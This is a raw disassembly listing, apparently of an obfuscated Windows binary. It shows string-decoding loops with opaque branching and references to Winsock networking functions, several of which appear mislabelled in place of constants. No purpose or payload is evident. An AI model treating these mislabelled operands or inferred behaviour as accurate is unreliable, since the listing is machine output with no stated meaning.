movss xmm0, dword [0x1401db840]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401db6f0], eax
mov byte [rbp + 0xc0], 0x1c
mov byte [rbp + 0xc1], 0xf2
mov byte [rbp + 0xc2], 0xf9
mov byte [rbp + 0xc3], 0xf4
mov byte [rbp + recvfrom4], 0xc
mov byte [rbp + 0xc5], 0xf5
mov byte [rbp + 0xc6], recvfrom
mov byte [rbp + 0xc7], 0x4f
mov byte [rbp + 0xc8], 0x23
mov byte [rbp + 0xc9], 0xfc
mov byte [rbp + 0xca], 0xf8
mov byte [rbp + 0xcb], 0xfa
mov byte [rbp + 0xcc], 0xf4
mov byte [rbp + 0xcd], WSAGetLastError
xor eax, eax
mov word [rbp + 0xce], ax
movabs rsi, 0x2ca267e0f93abd71
movabs r15, 0x3870d726d09b2e17
movabs r14, 0x85e737a2ebb03853
movzx edi, byte [rsp + 0x50]
nop dword [rax + rax]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x10
jae 0x14008c581
movzx r9d, byte [rbp + r10 + 0xc0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008c575
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008ba00
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x17
jmp 0x14008ba47
je 0x14008c504
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008c47c
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008c424
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008c403
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008c3df
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008c398
cmp r8, r10
ja 0x14008c569
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x14008ba78
lea ecx, [r10 + 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1d
jmp 0x14008bac0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008c379
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008c355
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008c33a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008c31f
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008c2f2
nop dword [rax]
lea rax, [rbx + r8]
cmp rax, r10
jbe 0x14008bfc8
nop dword [rax]
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14008bfa5
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14008bf81
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14008bf60
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14008bf41
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14008bf22
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14008bf03
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14008bee4
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008bec9
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14008be9c
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 2]
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14008c54c
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14008c52f
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14008bc90
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14008bc75
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14008bc5a
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14008be50
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14008bde2
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14008bdbc
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14008bad0
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14008bd8b
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14008bd6c
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14008bd51
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14008bd36
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14008bd1b
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14008bcf8
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14008bcd3
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14008bcab
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14008bad0
lea rbx, [r8 + 2]
lea r8, [rbx + 0xa]
jmp 0x14008bad0
lea ecx, [r10 + 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7d
jmp 0x14008bac0
lea ecx, [r10 + 0x79]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4f
jmp 0x14008ba47
lea ecx, [r10 - 0x69]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x21
jmp 0x14008b9c6
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008b9b3
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008b9b3
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008c43e
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x14008c460
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
jmp 0x14008c463
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
jmp 0x14008c495
lea edx, [r10 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c4bd
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0xc0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b9b3
lea ecx, [r10 - 0x1d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x35
mov byte [rbp + r10 + 0xc0], dil
inc r10
jmp 0x14008b9b3
lea ecx, [r10 + 0x1f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x27
cmp rbx, 3
jae 0x14008c2ab
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x14008c1e9
lea ecx, [r10 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
cmp r8, 0x20
jb 0x14008bdd2
movzx r11d, r10b
lea ecx, [r11 + 6]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x54]
jmp 0x14008c3b2
lea ecx, [r10 + 0x3d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x55
lea rax, [rbx + r8]
cmp rax, 4
je 0x14008c2d6
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x14008c102
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7b
jmp 0x14008bdf8
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
movzx eax, byte [rbp + r10 + 0xc0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b9b3
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
jmp 0x14008c4bd
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c495
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c463
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c460
movzx r11d, r10b
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
jmp 0x14008c43e
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
dec r10
inc r10
jmp 0x14008b9b3
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
inc r8
dec r10
inc r10
jmp 0x14008b9b3
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008c3b2
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x14008bff0
lea ecx, [r10 + 0x71]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x17
jmp 0x14008be66
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008c02e
lea edx, [r10 - 0x76]
movzx eax, dl
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0xc0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b9b3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008c056
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
jmp 0x14008c495
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008c07e
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x14008c463
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008c0a6
lea ecx, [r10 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7e
jmp 0x14008c460
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008c0d6
movzx r11d, r10b
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c43e
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008be66
movzx r11d, r10b
lea ecx, [r11 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x14008c3b2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008c12e
movzx r11d, r10b
lea ecx, [r11 - 0x31]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x57
jmp 0x14008c3b2
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008c15f
lea ecx, [r10 - 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x29
inc r8
dec r10
inc r10
jmp 0x14008b9b3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008c187
lea ecx, [r10 + 0x39]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x71
jmp 0x14008c463
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008c1af
lea ecx, [r10 + 0x1b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x43
jmp 0x14008c495
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008bdf8
lea ecx, [r10 - 0x21]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x19
movzx eax, byte [rbp + r10 + 0xc0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b9b3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008c227
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0xc0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b9b3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008c253
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c495
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008c27b
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
jmp 0x14008c463
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008be28
movzx r11d, r10b
lea edx, [r11 + 0x24]
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c3b2
movzx r11d, r10b
lea edx, [r11 - 0x18]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0xc0]
sub dil, al
sub dil, 0x58
add dil, r9b
add dil, dl
jmp 0x14008c43e
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008c495
lea ecx, [r10 + 0x37]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7f
movzx eax, byte [rbp + r10 + 0xc0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b9b3
lea ecx, [r10 + 0x73]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x25
jmp 0x14008c495
lea ecx, [r10 - 0x6f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 9
jmp 0x14008c463
lea ecx, [r10 + 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3f
inc r8
dec r10
inc r10
jmp 0x14008b9b3
movzx r11d, r10b
lea ecx, [r11 + 0x27]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x11
jmp 0x14008c3b2
movzx r11d, r10b
lea ecx, [r11 + 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4b
add r11b, 0x77
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x41
add r11b, r9b
mov byte [rbp + r10 + 0xc0], r11b
inc r8
dec r10
inc r10
jmp 0x14008b9b3
lea ecx, [r10 - 0x7f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x79
inc r8
dec r10
inc r10
jmp 0x14008b9b3
lea ecx, [r10 - 0x61]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x59
dec r10
inc r10
jmp 0x14008b9b3
movzx r11d, r10b
lea ecx, [r11 - 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2b
add r11b, 0x59
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x6f
add r11b, r9b
add r11b, dil
mov byte [rbp + r10 + 0xc0], r11b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008b9b3
lea rcx, [r10 + r15]
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5f
lea ecx, [r10 + 0x3b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x63
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0xc0], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r9b
mov ecx, 0x26
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r10 + 0xc0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0xc0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b9b3
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x45
movzx eax, byte [rbp + r10 + 0xc0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008b9b3
sub r10b, 0x4b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0xd
jmp 0x14008b9b0
sub r10b, 0x2d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x3b
jmp 0x14008b9a0
lea rcx, [rbp + 0x17748ac]
jmp 0x14008c588
lea rcx, [rbp + 0xf2061d]
jmp 0x14008c588
lea rcx, [rbp + 0xc0]
xor r8d, r8d
lea rdx, [0x1401db848]
call fcn.14003b3d0
test al, al
je 0x14008c5dd
movss xmm0, dword [0x1401db848]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401db6f8], eax
movss xmm1, dword [0x1401db84c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401db6fc], eax
movss xmm0, dword [0x1401db850]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401db700], eax
mov byte [rbp + 0x170], 0xf5
mov byte [rbp + 0x171], 0x1f
mov byte [rbp + 0x172], 8
mov byte [rbp + 0x173], 0x1a
mov byte [rbp + reloc.WS2_32.dll_socket4], 0x17
mov byte [rbp + 0x175], 0x18
mov byte [rbp + 0x176], 0xe0
mov byte [rbp + 0x177], 0x1b
mov byte [rbp + 0x178], 0xe1
mov byte [rbp + 0x179], 0xa5
mov byte [rbp + 0x17a], 0xfd
mov byte [rbp + 0x17b], 0x28
mov byte [rbp + 0x17c], 0x24
mov byte [rbp + 0x17d], 0x2a
mov byte [rbp + 0x17e], 0x28
mov byte [rbp + 0x17f], 0xbf
xor eax, eax
mov dword [rbp + 0x180], eax
mov word [rbp + 0x184], ax
movabs rsi, 0x5815148bfecd9696
movabs r14, 0x83f3da3fc68c3c2
movzx edi, byte [rsp + 0x50]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x16
jae 0x14008d1bc
movzx r9d, byte [rbp + r10 + 0x170]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008d1b0
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008c6e3
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x1a
jmp 0x14008c703
je 0x14008d13c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008d0e1
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008d0b9
cmp r8, r10
ja 0x14008d1a4
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x14008c737
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
jmp 0x14008c770
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008d072
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008d067
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008cfd4
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008cfa3
nop dword [rax + rax]
lea rax, [rbx + r8]
cmp rax, r10
jbe 0x14008cd0b
nop dword [rax]
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008cce8
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14008ccc3
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14008cc9e
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008cc7b
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14008cc5c
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14008cc40
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14008cc1d
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14008cbfe
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14008cbcd
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14008c780
lea rbx, [r8 + 3]
lea r8, [rbx + 5]
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14008d187
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14008d167
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14008c96e
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14008c94f
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14008c934
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14008cb83
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14008cb36
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14008caf2
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14008cac8
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14008c780
lea rbx, [r8 + 9]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14008ca9a
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14008ca7b
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14008ca58
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14008ca3c
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14008ca20
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14008c9fd
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14008c9d8
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14008c9b0
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14008c98d
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14008c780
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x64]
jmp 0x14008c780
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
jmp 0x14008c770
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c703
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008c6a6
lea edx, [r10 + 0x70]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x10
add dil, dl
movzx r11d, r10b
jmp 0x14008d08c
lea edx, [r10 + 0x44]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14008c693
lea edx, [r10 + 0x18]
movzx eax, r9b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14008c693
lea edx, [r10 - 0x14]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x74
add dil, dl
movzx r11d, r10b
jmp 0x14008d0fb
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
jmp 0x14008d120
lea ecx, [r10 - 0x6c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0xc
jmp 0x14008d123
lea edx, [r10 + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx r11d, r10b
jmp 0x14008cff2
lea edx, [r10 + 0x3c]
movzx eax, r9b
and al, dl
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008d020
lea ecx, [r10 + 0x10]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x70
movzx eax, byte [rbp + r10 + 0x170]
add rax, r8
add r10, rax
inc r10
jmp 0x14008c693
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
mov byte [rbp + r10 + 0x170], dil
inc r10
jmp 0x14008c693
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 0xa
jb 0x14008cae2
movzx r11d, r10b
lea edx, [r11 - 0x3c]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14008d08c
lea edx, [r10 - 0x36]
movzx eax, r9b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp rbx, 4
jae 0x14008cf5f
lea rcx, [r8 + 6]
cmp rbx, rcx
jbe 0x14008ce93
lea edx, [r10 + 0xc]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x54
add dil, dl
jmp 0x14008cb0c
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
lea rax, [rbx + r8]
cmp rax, 0x5a
je 0x14008cf86
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14008cde8
lea edx, [r10 - 0x42]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x32
jmp 0x14008cb4d
lea edx, [r10 - 0x2c]
movzx eax, r9b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x170]
add rax, r8
add r10, rax
inc r10
jmp 0x14008c693
lea edx, [r10 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008d020
movzx r11d, r10b
lea edx, [r11 + 0x7c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x64
add dil, dl
jmp 0x14008cff2
lea ecx, [r10 + 0x50]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x30
jmp 0x14008d123
lea edx, [r10 + 0x24]
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008d120
movzx r11d, r10b
lea edx, [r11 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008d0fb
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14008c693
lea ecx, [r10 - 0x60]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x60
inc r8
dec r10
inc r10
jmp 0x14008c693
movzx r11d, r10b
lea edx, [r11 + 0x74]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2c
add dil, dl
jmp 0x14008d08c
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x14008cd33
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
jmp 0x14008cb99
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008cd6d
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
movzx eax, byte [rbp + r10 + 0x170]
add rax, r8
add r10, rax
inc r10
jmp 0x14008c693
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008cd8c
movzx r11d, r10b
lea edx, [r11 - 0xc]
mov ecx, 0x2a
jmp 0x14008cfe1
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008cdb8
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
